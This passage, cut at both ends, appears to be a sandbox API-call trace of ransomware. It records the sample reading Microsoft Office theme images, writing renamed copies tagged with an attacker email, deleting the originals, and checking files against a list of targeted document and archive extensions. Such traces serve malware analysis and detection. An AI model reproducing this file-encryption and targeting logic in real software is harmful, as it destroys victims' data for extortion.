lpNumberOfBytesWritten=0x2ebfc9c*=0x9b0, lpOverlapped=0x0) returned 1 [0044.007] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0044.007] WriteFile (in: hFile=0x17c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.007] SetEndOfFile (hFile=0x17c) returned 1 [0044.007] CloseHandle (hObject=0x17c) returned 1 [0044.007] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.007] SetEndOfFile (hFile=0x1f0) returned 1 [0044.008] CloseHandle (hObject=0x1f0) returned 1 [0044.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.008] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 1 [0044.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0044.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0044.009] lstrlenW (lpString=".doc") returned 4 [0044.009] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.009] lstrlenW (lpString=".docx") returned 5 [0044.009] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.009] lstrlenW (lpString=".pdf") returned 4 [0044.009] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.009] lstrlenW (lpString=".xls") returned 4 [0044.009] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.009] lstrlenW (lpString=".xlsx") returned 5 [0044.009] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.009] lstrlenW (lpString=".ppt") returned 4 [0044.009] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0044.009] lstrlenW (lpString=".zip") returned 4 [0044.009] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.009] lstrlenW (lpString=".rar") returned 4 [0044.009] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.009] lstrlenW (lpString=".bz2") returned 4 [0044.009] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.009] lstrlenW (lpString=".7z") returned 3 [0044.009] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0044.009] lstrlenW (lpString=".dbf") returned 4 [0044.009] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0044.009] lstrlenW (lpString=".1cd") returned 4 [0044.009] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0044.009] lstrlenW (lpString=".jpg") returned 4 [0044.009] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0044.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0044.010] lstrlenW (lpString=".doc") returned 4 [0044.010] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.010] lstrlenW (lpString=".docx") returned 5 [0044.010] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.010] lstrlenW (lpString=".pdf") returned 4 [0044.010] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.010] lstrlenW (lpString=".xls") returned 4 [0044.010] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.010] lstrlenW (lpString=".xlsx") returned 5 [0044.010] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.010] lstrlenW (lpString=".ppt") returned 4 [0044.010] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0044.010] lstrlenW (lpString=".zip") returned 4 [0044.010] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.010] lstrlenW (lpString=".rar") returned 4 [0044.010] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.010] lstrlenW (lpString=".bz2") returned 4 [0044.010] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.010] lstrlenW (lpString=".7z") returned 3 [0044.010] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0044.010] lstrlenW (lpString=".dbf") returned 4 [0044.010] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0044.010] lstrlenW (lpString=".1cd") returned 4 [0044.010] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0044.010] lstrlenW (lpString=".jpg") returned 4 [0044.010] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.011] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.011] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0044.012] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=19485) returned 1 [0044.012] CloseHandle (hObject=0x1f0) returned 1 [0044.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20 [0044.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0044.012] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.012] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0044.012] GetLastError () returned 0x0 [0044.012] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x4c1d, lpOverlapped=0x0) returned 1 [0044.014] WriteFile (in: hFile=0x17c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0044.015] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0044.015] WriteFile (in: hFile=0x17c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.015] SetEndOfFile (hFile=0x17c) returned 1 [0044.016] CloseHandle (hObject=0x17c) returned 1 [0044.016] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.016] SetEndOfFile (hFile=0x1f0) returned 1 [0044.016] CloseHandle (hObject=0x1f0) returned 1 [0044.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.017] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 1 [0044.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0044.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0044.017] lstrlenW (lpString=".doc") returned 4 [0044.017] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.017] lstrlenW (lpString=".docx") returned 5 [0044.017] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.017] lstrlenW (lpString=".pdf") returned 4 [0044.017] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.017] lstrlenW (lpString=".xls") returned 4 [0044.017] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.017] lstrlenW (lpString=".xlsx") returned 5 [0044.017] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.017] lstrlenW (lpString=".ppt") returned 4 [0044.017] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0044.017] lstrlenW (lpString=".zip") returned 4 [0044.017] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.017] lstrlenW (lpString=".rar") returned 4 [0044.017] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.017] lstrlenW (lpString=".bz2") returned 4 [0044.018] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.018] lstrlenW (lpString=".7z") returned 3 [0044.018] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0044.018] lstrlenW (lpString=".dbf") returned 4 [0044.018] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0044.018] lstrlenW (lpString=".1cd") returned 4 [0044.018] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0044.018] lstrlenW (lpString=".jpg") returned 4 [0044.018] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0044.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0044.018] lstrlenW (lpString=".doc") returned 4 [0044.018] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.018] lstrlenW (lpString=".docx") returned 5 [0044.018] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.018] lstrlenW (lpString=".pdf") returned 4 [0044.018] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.018] lstrlenW (lpString=".xls") returned 4 [0044.018] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.018] lstrlenW (lpString=".xlsx") returned 5 [0044.018] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.018] lstrlenW (lpString=".ppt") returned 4 [0044.018] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0044.019] lstrlenW (lpString=".zip") returned 4 [0044.019] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.019] lstrlenW (lpString=".rar") returned 4 [0044.019] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.019] lstrlenW (lpString=".bz2") returned 4 [0044.019] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.019] lstrlenW (lpString=".7z") returned 3 [0044.019] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0044.019] lstrlenW (lpString=".dbf") returned 4 [0044.019] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0044.019] lstrlenW (lpString=".1cd") returned 4 [0044.019] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0044.019] lstrlenW (lpString=".jpg") returned 4 [0044.019] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.019] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.019] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0044.020] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1232) returned 1 [0044.020] CloseHandle (hObject=0x1f0) returned 1 [0044.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20 [0044.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0044.020] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.020] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0044.022] GetLastError () returned 0x0 [0044.022] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x4d0, lpOverlapped=0x0) returned 1 [0044.023] WriteFile (in: hFile=0x17c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x4e0, lpOverlapped=0x0) returned 1 [0044.024] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0044.024] WriteFile (in: hFile=0x17c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.024] SetEndOfFile (hFile=0x17c) returned 1 [0044.024] CloseHandle (hObject=0x17c) returned 1 [0044.025] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.025] SetEndOfFile (hFile=0x1f0) returned 1 [0044.025] CloseHandle (hObject=0x1f0) returned 1 [0044.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.026] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 1 [0044.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0044.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0044.026] lstrlenW (lpString=".doc") returned 4 [0044.026] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.026] lstrlenW (lpString=".docx") returned 5 [0044.026] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.026] lstrlenW (lpString=".pdf") returned 4 [0044.026] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.026] lstrlenW (lpString=".xls") returned 4 [0044.026] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.026] lstrlenW (lpString=".xlsx") returned 5 [0044.026] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.026] lstrlenW (lpString=".ppt") returned 4 [0044.026] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0044.026] lstrlenW (lpString=".zip") returned 4 [0044.026] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.026] lstrlenW (lpString=".rar") returned 4 [0044.026] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.026] lstrlenW (lpString=".bz2") returned 4 [0044.026] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.027] lstrlenW (lpString=".7z") returned 3 [0044.027] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0044.027] lstrlenW (lpString=".dbf") returned 4 [0044.027] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0044.027] lstrlenW (lpString=".1cd") returned 4 [0044.027] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0044.027] lstrlenW (lpString=".jpg") returned 4 [0044.027] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0044.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0044.027] lstrlenW (lpString=".doc") returned 4 [0044.027] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.027] lstrlenW (lpString=".docx") returned 5 [0044.027] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.027] lstrlenW (lpString=".pdf") returned 4 [0044.027] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.027] lstrlenW (lpString=".xls") returned 4 [0044.027] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.027] lstrlenW (lpString=".xlsx") returned 5 [0044.027] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.027] lstrlenW (lpString=".ppt") returned 4 [0044.027] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0044.027] lstrlenW (lpString=".zip") returned 4 [0044.027] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.027] lstrlenW (lpString=".rar") returned 4 [0044.027] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.027] lstrlenW (lpString=".bz2") returned 4 [0044.027] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.028] lstrlenW (lpString=".7z") returned 3 [0044.028] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0044.028] lstrlenW (lpString=".dbf") returned 4 [0044.028] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0044.028] lstrlenW (lpString=".1cd") returned 4 [0044.028] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0044.028] lstrlenW (lpString=".jpg") returned 4 [0044.028] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.028] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.028] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0044.028] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=18413) returned 1 [0044.028] CloseHandle (hObject=0x1f0) returned 1 [0044.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 0x20 [0044.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0044.029] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.029] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0044.031] GetLastError () returned 0x0 [0044.031] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x47ed, lpOverlapped=0x0) returned 1 [0044.395] WriteFile (in: hFile=0x17c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x47f0, 